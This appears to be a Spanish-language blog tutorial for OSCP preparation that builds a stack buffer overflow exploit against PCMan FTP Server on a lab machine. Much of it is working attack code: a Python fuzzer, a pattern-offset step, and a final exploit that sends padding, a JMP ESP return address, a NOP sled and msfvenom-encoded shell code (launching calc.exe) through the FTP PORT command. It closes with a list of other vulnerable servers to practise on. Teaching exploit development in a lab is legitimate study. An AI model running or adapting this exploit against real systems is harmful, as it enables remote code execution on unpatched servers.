Buenas, quizás alguno de vosotros estéis pensando en sacaros el OSCP, la famosa certificación de Offensive Security, así que he pensado que sería útil proporcionar un tutorial de un desbordamiento de buffer de Windows de 32 bits. Para la mayoría de las personas que entran al mundo de la seguridad informática, los buffer overflows pueden ser un tema que asuste. Mi objetivo es que al final de este tutorial, tengáis una comprensión más clara y menos miedo al desarrollo de exploits de buffer overflow.

Antes de leer este post os recomiendo leer los post de introducción al exploiting:
Parte 1, parte 2, parte 3 y parte 4

Introducción

¿Qué es un Stack Buffer Overflow?

Según la Wikipedia, un desbordamiento de pila es el exceso de flujo de datos almacenados en la pila de una función, lo cual permite que la dirección de retorno de la pila pueda ser modificada por otra parte de un atacante para obtener un beneficio propio, que generalmente es malicioso.
Básicamente hay que desbordar un buffer de la pila, modificando así los datos adyacentes permitiendo inyectar código y tomar el control del proceso.
Os recomiendo la lectura del post de corelean.be para entender esto mejor.
La pila es la estructura que almacena la información de un programa.

Si el programa está mal programado permitirá el desbordamiento del buffer; supongamos que tenemos un programa que, mediente gets(), da valor a un buffer X caracteres pero el usuario introduce una gran cantidad A:

Se producirá un fallo (segmentation fault) ya que hemos sobrescrito la dirección de retorno.

Explotación

Fuzzing

Veamoslo gráficamente, tenemos un PCMan FTP corriendo en un Windows 10 y con Inmunity Debugger para analizar lo que ocurre en la ejecución del servidor.

Lo primero que haremos es ver si este software es vulnerable, la técnica que se utiliza para encontrar un bug se llama Fuzzing que consiste básicamente en enviar datos de una longitud variable hasta que crashe la ejecución.
Podemos utilizar el siguiente python:

#!/usr/bin/python
import sys,socket
from time import sleep

length = 1500

while True:
	try:
		print "length sent: " + str(length)
		s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		s.connect(('192.168.17.129',21))
		s.recv(1024)
		s.send("USER Anonymous")
		s.recv(1024)
		s.send("PASS pass")
		s.recv(1024)		
		s.send('PORT ' + 'A'* length)
		s.recv(1024)
		s.close()
		sleep(1)
		length += 100
	except:
		print 'Fuzzing crased at %s bytes' % str(length)
		sys.exit()

Como veis se abre una conexión con el servidor y se enviarán mensajes a través del parámetro PORT hasta que crashe (aumentando en 100 la longitud de la cadena que se le envía en cada iteración).

En cuanto deja de establecer conexión con el servidor sabremos la longitud necesaria para hacer crashear el programa, en este caso 2100 bytes.

Buscar el relleno

Sabemos que enviando al menos 2100 bytes haremos crashear el programa, pero necesitamos saber la longitud exacta para poder manejar la dirección de retorno.
Para esto utilizaremos msf-pattern

msf-pattern_create -l 2100

Modifiquemos nuestro exploit:

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.17.129",21))
s.recv(1024)
s.send("USER " + "Anonymous")
s.recv(1024)
s.send("PASS pass")
s.recv(1024)		
s.send("PORT " + buf)
s.recv(1024)
s.close()
python exploit.py
msf-pattern_offset -q 396F4338


Tras la ejecución del exploit el programa se detendrá y veremos en el Inmunity Debugger el valor del registro EIP (que contendrá la dirección de retorno sobreescrita). Con msf-pattern_offset veremos la longitud exacta del relleno.
La longitud de nuestro relleno será 2006 bytes, vamos a demostrarlo:

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

padding = "A" * 2006
buf = padding + "B"*4 + "C"*256

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.17.129",21))
s.recv(1024)
s.send("USER " + "Anonymous")
s.recv(1024)
s.send("PASS pass")
s.recv(1024)		
s.send("PORT " + buf)
s.recv(1024)
s.close()


Como veis, tras la ejecución del exploit, el registro EIP apunta a las 4 Bs (\x42\x42\x42\x42) luego hemos sobrescrito la dirección de retorno con el contenido que queramos. Además el ESP apunta a las Cs, seria algo así:

Ejecutar nuestro shellcode

Tras ver el diagrama anterior, nos queda claro que en las Cs deberemos escribir nuestro shellcode y sobreescribir la dirección de retorno con la de nuestro shellcode.
Podríamos saltar a la dirección del ESP directamente, pero es más sutil buscar una operación JMP ESP en las librerías del programa y hay que tener en cuenta que la dirección del ESP puede no ser justo a continuación de la dirección de retorno (las 4 B) por lo que debemos añadir un colchón de NOPs.
Usando mona podríamos buscar un JMP ESP en un módulo que no tenga ninguna protección como ASLR, pero para este ejemplo nos sirve con buscarlo directamente con Inmunity:

Como dije antes, tras la dirección de retorno (JMP ESP) debemos incluir el código que queremos ejecutar es decir, nuestro shellcode.
Creemos un shellcode para probar que podemos ejecutar código (nos bastará con abrir una calculadora para demostrar que funciona)(en este caso usaremos el encoder x86/shikata_ga_nai pero puede ser que no funcione y tendríais que probar otros o no usar encoder):

msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -v shellcode -f py

Y busquemos un JMP ESP en el programa con Inmunity Debugger:

#!/usr/bin/python
import sys,socket
from time import sleep
import struct

padding = 'A' * 2006
jmpesp = struct.pack("<I",0x739A96BF)
nops = "\x90" * 20
shellcode =  ""
shellcode += "\xdb\xdf\xbf\xc4\x47\xa8\xd0\xd9\x74\x24\xf4\x58"
shellcode += "\x29\xc9\xb1\x31\x83\xc0\x04\x31\x78\x14\x03\x78"
shellcode += "\xd0\xa5\x5d\x2c\x30\xab\x9e\xcd\xc0\xcc\x17\x28"
shellcode += "\xf1\xcc\x4c\x38\xa1\xfc\x07\x6c\x4d\x76\x45\x85"
shellcode += "\xc6\xfa\x42\xaa\x6f\xb0\xb4\x85\x70\xe9\x85\x84"
shellcode += "\xf2\xf0\xd9\x66\xcb\x3a\x2c\x66\x0c\x26\xdd\x3a"
shellcode += "\xc5\x2c\x70\xab\x62\x78\x49\x40\x38\x6c\xc9\xb5"
shellcode += "\x88\x8f\xf8\x6b\x83\xc9\xda\x8a\x40\x62\x53\x95"
shellcode += "\x85\x4f\x2d\x2e\x7d\x3b\xac\xe6\x4c\xc4\x03\xc7"
shellcode += "\x61\x37\x5d\x0f\x45\xa8\x28\x79\xb6\x55\x2b\xbe"
shellcode += "\xc5\x81\xbe\x25\x6d\x41\x18\x82\x8c\x86\xff\x41"
shellcode += "\x82\x63\x8b\x0e\x86\x72\x58\x25\xb2\xff\x5f\xea"
shellcode += "\x33\xbb\x7b\x2e\x18\x1f\xe5\x77\xc4\xce\x1a\x67"
shellcode += "\xa7\xaf\xbe\xe3\x45\xbb\xb2\xa9\x03\x3a\x40\xd4"
shellcode += "\x61\x3c\x5a\xd7\xd5\x55\x6b\x5c\xba\x22\x74\xb7"
shellcode += "\xff\xdd\x3e\x9a\xa9\x75\xe7\x4e\xe8\x1b\x18\xa5"
shellcode += "\x2e\x22\x9b\x4c\xce\xd1\x83\x24\xcb\x9e\x03\xd4"
shellcode += "\xa1\x8f\xe1\xda\x16\xaf\x23\xb9\xf9\x23\xaf\x10"
shellcode += "\x9c\xc3\x4a\x6d"

buf = padding + jmpesp + nops + shellcode

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.17.129',21))
s.recv(1024)
s.send("USER " + "Anonymous")
s.recv(1024)
s.send("PASS pass")
s.recv(1024)		
s.send('PORT ' + buf)
s.recv(1024)
s.close()

Ahora creando un shellcode malicioso (reverse shell):

Conclusión

Este tutorial puede servir para empezar la preparación para el desarrollo de exploits del OSCP pero no se cubren todos los aspectos necesarios para pasar el examen ya que no hemos explicado a encontrar los badchars del shellcode, o cómo buscar la operación JMP ESP en las librerias que no tengan protecciones como el ASLR.
Además este tipo de exploits no funcionarán si los programas cuentan con protecciones como el DEP.

Otros software para practicar:

PCMan FTP Server 2.0.7
SLMail 5.5.0 Mail Server
Freefloat FTP Server 1.0
MiniShare 1.4.1
Savant Web Server 3.1
WarFTP 1.65

Referencias

  • https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
  • https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/
  • https://www.nccgroup.trust/au/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/
  • https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/
  • ¿Me ayudas a compatirlo?